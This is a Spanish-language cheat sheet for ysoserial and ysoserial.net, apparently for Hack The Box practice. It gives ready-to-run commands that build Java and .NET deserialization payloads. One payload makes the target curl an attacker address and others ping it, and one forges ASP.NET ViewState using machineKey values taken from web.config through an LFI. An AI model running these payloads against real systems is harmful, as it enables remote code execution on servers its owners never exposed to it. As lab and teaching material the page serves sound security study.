ysoserial

ysoserial crea objetos serializados que, al deserializarlos, ejecutan un comando gracias a cadenas de gadgets de librerías conocidas (CommonsCollections en Java, TypeConfuseDelegate o TextFormattingRunProperties en .NET). Primero confirma la ejecución con un ping o una petición HTTP a tu máquina.

Plataforma
Java (ysoserial) · .NET (ysoserial.net)
Web oficial
github.com/frohoff/ysoserial
En HTB
8 máquinas
Instalación
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

Chuleta de ysoserial

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
4 comandos

Java

Payload que hace una petición a tu máquina
java -jar ysoserial-all.jar CommonsCollections6 'curl http://10.10.14.5/ok' | base64 -w0

Con Java 16 o superior falla: usa Java 11 (o un contenedor Docker con Java 8).

.NET (ysoserial.net, desde Windows)

Objeto en base64
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping 10.10.14.5" -o base64
JSON.NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping 10.10.14.5"
ViewState con las claves de machineKey
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"

Las claves salen del web.config (por ejemplo, leyéndolo con un LFI).

Máquinas de HTB donde se usa ysoserial

Sacadas de los capítulos de los vídeos de IppSec en los que aparece ysoserial. El enlace ▶ salta al minuto de esa parte.

Guías que usan ysoserial